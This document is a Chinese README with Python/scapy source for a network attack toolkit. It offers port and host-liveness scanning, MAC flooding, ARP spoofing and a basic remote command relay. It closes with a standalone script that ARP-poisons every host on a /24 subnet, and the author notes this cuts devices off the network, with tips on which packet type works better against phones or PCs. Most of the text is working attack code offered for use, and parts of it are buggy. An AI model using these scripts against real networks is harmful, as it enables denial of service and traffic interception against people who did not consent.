一个关于信息搜集的python脚本

通过scapy与socket编写

端口扫描，
主机存活扫描，
mac泛洪，
arp欺骗，
服务器，客户端通信
支持从文件导入ip和手动输入ip
输入支持
a,b某几个ip，port
a-b,某个范围ip，port
1.2.3.0/24 某一个网段

'''
TCP扫描和UDP扫描
UDP扫描先要判断主机是否存活
TCP扫描有两种，通过socket连接扫描和通过SYN半开放扫描
可以通过文件或者输入指定扫描的ip和端口
python3 port_scan
-f filename 指定ip文件名
-i ip 指定*个ip或者一个网段
-p 指定端口，或者端口文件名
-u UDP
-sS TCPSYN扫描
-sT TCP全连接扫描
'''
import sys
import os
import socket
import re
from threading import Thread
from optparse import OptionParser
from scapy.all import *
def TCP_Connect_Port(ip,port):
    try:
        c=socket.socket()
        c.connect((ip,port))
        print("{}:{} online(TCP)".format(ip,port))
    except:
        print("{}:{} not online(TCP)".format(ip,port))
def TCP_Port(ip,port):
    try:
        tcp=IP(dst=ip)/TCP(dport=port,flags='S')
        pkt=sr1(tcp,timeout=1,verbose=0)
        if pkt[TCP].flags == 'SA':
            print(ip+':'+str(port)+' online(TCP)')
            return
        else:
            print(ip+':'+str(port)+' not online(TCP)')
    except Exception as error:
        return
def UDP_Port(ip,port):
    try:
        udp=IP(dst=ip)/UDP(dport=port)
        pkt=sr1(udp,timeout=1,verbose=0)
        if not pkt:
            print(ip+':'+str(port)+' online(UDP)')
            return
        if pkt[IP].proto==1:
            print(ip+':'+' not online(UDP)')
            return
    except Exception as error:
        print(error)
        return
def PORT_Handle(port):
    store=[]
    if len(port.split('-'))==2:
        for i in range(int(port.split('-')[0]),int(port.split('-')[1])+1):
            store.append(i)
        return store
    if len(port.split(','))==1:
        store.append(int(port))
        return store
    if len(port.split(','))>=2:
        for i in range(0,len(port.split(','))):
            store.append(int(port.split(',')[i]))
        return store
def IP_Handle(ip):
    store=[] #  10.102.0.1-10.102.0.2,   10.102.0.1/24   , 10.102.0.1,10.102.0.1
    prefix=ip.split('.')[0]+'.'+ip.split('.')[1]+'.'+ip.split('.')[2]+'.'
    if len(ip.split(','))>=2:
        for i in ip.split(','):
            store.append(i)
        return store
    if ip.split('-'):
        for i in ip.split('-'):
            store.append(i)
        return store
    if ip.split('/'):
        prefix = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.'
        for i in range(1,256):
            store.append(prefix+str(i))
        return store
def ARP_Alive(ip): #本机抓不到发出去的包，但是能抓到回复
    try:
        pkt=Ether(dst='ff:ff:ff:ff:ff:ff:ff')/ARP(hwdst='00:00:00:00:00:00:00',op=1,pdst=ip)
        result=sr1p(pkt,timeout=1,verbose=0)
        if result:
            print(ip+' online')
        else:
            print(ip+' not online')
        return
    except Exception as error:
        return
def PING_Alive(ip): #icmp(ping)
    try:
        pkt=IP(dst=ip)/ICMP()
        result=sr1(pkt,verbose=0,timeout=1)
        if result:
            print(ip+' online')
        else:
            print(ip+' not online')
        return
    except:
        return
def TCP_Alive(ip):
    try:
        pkt=IP(dst=ip)/TCP(dport=RandShort(),flags='A')
        result=sr1(pkt,verbose=0,timeout=1)
        if result[TCP].flags=='R':
            print(ip+' online')
            return
        else:
            print(ip+' not online')
            return
    except Exception as error:
        return
def UDP_Alive(ip):
    try:
        pkt=IP(dst=ip)/UDP(dport=RandShort())
        result=sr1(pkt,verbose=0,timeout=1)
        if result[IP].proto==1:
            print(ip+' online')
            return
        else:
            print(ip+' not online')
            return
    except:
        return
def ARP_Spoof(ip,gateway):
    try:
        while True:
            pkt=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip,psrc=gateway)
            sendp(pkt,verbose=0)
    except KeyboardInterrupt:
            print('ARP_Spoof Over!')
def MAC_Floor(): #本机抓不到包，测试失败
        pkt=Ether(dst=RandMAC(),src=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
        try:
            sendp(pkt,inter=0.1,count=10000,loop=1)
            return
        except:
            return
def Shell(client):
    while True:
        text=client.recv(10240).strip()
        if text == b'exit':
            client.sendall(b'exit')
            break
        if not text:
            break
        print(text)
        command=input('your input:')
        command=bytes(command,'ascii')
        client.sendall(command)
    print('Connect Close!')
    client.close()
def SHELL_Server(ip, port):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(((ip,port)))
    s.listen(3) #最多3个排队的
    while True:
        try:
            client,addr=s.accept()
            print('Connected by '+addr[0])
            t=Thread(target=Shell,args=(client,))
            t.start()
        except KeyboardInterrupt : #这里的线程问题不知道怎么解决，当一个连接退出后，会卡在connect close，当使用ctrl+c中断后，会卡住，如果又有申请的连接，才会显示服务器关闭
            break
    print('Server Close!')
    s.close()

def SHELL_Client(ip,port):
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((ip,port))
        while True :
            text=input('please input:')
            text=bytes(text,'ascii')
            s.sendall(text)
            rec=s.recv(10240)
            if not rec :
                continue
            if text==b'exit':
                break
            print(rec)
        s.close()
    except :
        print('Connection reset by server!')
def main():
    usa='Usage: %prog -f <filename> | %prog -i <ip>\n%prog -p <port>\n%prog -sS | -sC | -u'
    pars=OptionParser(usage=usa)
    pars.add_option('-f',type='string',dest='filename',help='ip file')
    pars.add_option('-i',type='string',dest='ip',help='ip *.*.*.0/24')
    pars.add_option('-p',type='string',dest='port',help='port')
    pars.add_option('--arp',type='string',dest='ARP_alive',help='arp_alive')
    pars.add_option('--ping',type='string',dest='PING',help='ping_alive')
    pars.add_option('--th',type='string',dest='TCP_alive',help='tcp_alive')
    pars.add_option('--uh',type='string',dest='UDP_alive',help='udp_alive')
    pars.add_option('-u',action='store_true',dest='udp',help='udp')
    pars.add_option('--sS',action='store_true',dest='TCP_syn',help='tcp syn')
    pars.add_option('--sC',action='store_true',dest='TCP_connect',help='tcp connect')
    pars.add_option('--mf',action='store_true',dest='MAC_floor',help='mac floor')
    pars.add_option('--as',type='string',dest='ARP_spoof',help='arp_spoof')
    pars.add_option('--SS',type='string',dest='SHELL_server',help='shell_server')
    pars.add_option('--SC',type='string',dest='SHELL_client',help='shell_client')
    (options,args)=pars.parse_args()
    ip=options.ip
    filename=options.filename
    port=options.port
    ARP_alive=options.ARP_alive
    PING_alive=options.PING
    UDP_alive=options.UDP_alive
    TCP_alive=options.TCP_alive
    udp=options.udp
    TCP_syn=options.TCP_syn
    TCP_connect=options.TCP_connect
    MAC_floor=options.MAC_floor
    ARP_spoof=options.ARP_spoof
    SHELL_server=options.SHELL_server
    SHELL_client=options.SHELL_client
    # print(port)
    # print(port.split(','))
    # print(type(port.split(',')))
    # test=[]
    # print(type(int(port)))
    # print(port.split(','))
    # test.append(int(port.split(',')[0]))
    # print(test)
    if ((port and filename or ip) and (udp or TCP_syn or TCP_connect)) or ((filename or ip) and (ARP_alive or UDP_alive or TCP_alive or PING_alive or ARP_alive)) or MAC_floor or ARP_spoof or (SHELL_client or SHELL_server):
        if port:
            port=PORT_Handle(port) #返回一个列表
        if filename:
            if os.path.exists(filename):
                if udp:
                    f= open(filename,'r')
                    for i in f.readlines():
                        addr = i.strip()
                        for j in port:
                            t=Thread(target=UDP_Port,args=(addr,j))
                            t.start()
                elif TCP_syn:
                    f= open(filename,'r')
                    for i in f.readlines():
                        addr = i.strip()
                        for j in port:
                            t=Thread(target=TCP_Port,args=(addr,j))
                            t.start()
                elif TCP_connect:
                    f= open(filename,'r')
                    for i in f.readlines():
                        addr = i.strip()
                        for j in port:
                            t=Thread(target=TCP_Connect_Port,args=(addr,j))
                            t.start()
                elif PING_alive:
                    f=open(filename,'r')
                    for i in f.readlines():
                        addr=i.strip()
                        t=Thread(target=PING_Alive,args=(addr,))
                        t.start()
                elif UDP_alive:
                    f=open(filename,'r')
                    for i in f.readlines():
                        addr=i.strip()
                        t=Thread(target=UDP_Alive,args=(addr,))
                        t.start()
                elif  TCP_alive:
                    f=open(filename,'r')
                    for i in f.readlines():
                        addr=i.strip()
                        t=Thread(target=TCP_Alive,args=(addr,))
                        t.start()
                elif ARP_alive:
                    f=open(filename,'r')
                    for i in  f.readlines():
                        addr=i.strip()
                        t=Thread(target=ARP_Alive,args=(addr,))
                        t.start()
            else:
                sys.exit('Filename not Exist!')
        elif ip:
            ip=IP_Handle(ip)#返回一个ip列表
            if udp:
                for i in ip:
                    for j in port:
                        t=Thread(target=UDP_Port,args=(i,j))
                        t.start()
            elif TCP_syn:
                for i in ip:
                    for j in port:
                        t = Thread(target=TCP_Port,args=(i, j))
                        t.start()
            elif TCP_connect:
                for i in ip:
                    for j in port:
                        t = Thread(target=TCP_Connect_Port(),args=(i, j))
                        t.start()
            elif PING_alive:
                for i in ip:
                    t = Thread(target=PING_Alive, args=(i,))
                    t.start()
            elif UDP_alive:
                for i in ip:
                    t = Thread(target=UDP_Alive, args=(i,))
                    t.start()
            elif TCP_alive:
                for i in ip:
                    t = Thread(target=TCP_Alive, args=(i,))
                    t.start()
            elif ARP_alive:
                for i in ip:
                    t = Thread(target=ARP_Alive, args=(i,))
                    t.start()
            else:
                sys.exit('Wrong Format!')
        elif MAC_floor:
            while True:
                MAC_Floor()
        elif ARP_spoof:
            ip=ARP_spoof.split(',')[0]
            gateway=ARP_spoof.split(',')[1]
            ARP_Spoof(ip,gateway)
        elif SHELL_server:
            ip=SHELL_server.split(',')[0]
            port=int(SHELL_server.split(',')[1])
            SHELL_Server(ip,port)
        elif SHELL_client:
            ip = SHELL_client.split(',')[0]
            port = int(SHELL_client.split(',')[1])
            SHELL_Client(ip, port)
        else:
            sys.exit('-h to help!')
    else:
        sys.exit('Lack Param!')
if __name__ =='__main__':
    main()

arp全网段欺骗

可以造成局域网断网，ARP表被修改，ARP欺骗

from scapy.all import *
from threading import Thread
def arp(ip):
    while True:
        pkt1=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc='10.102.0.1',pdst=ip,op=1)
        pkt2=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(psrc='10.102.0.1',pdst=ip,op=2)
        #对于手机来说，op=1，好用，对电脑来说op=2才有效
        #电脑可以同时接受两个包，但是手机使用2只能造成网络不稳定，但是1可以造成断网。同时使用不产生影响
        sendp(pkt1)
        sendp(pkt2)
        time.sleep(0.2)
for i in range(2,255):
    string='10.102.0'+str(i)
    t=Thread(target=arp,args=(string,))
    t.start()

这里的ip写死了，可以自己修改，也可以用sys或者optparse写成脚本
#不同的op对手机和电脑的影响不同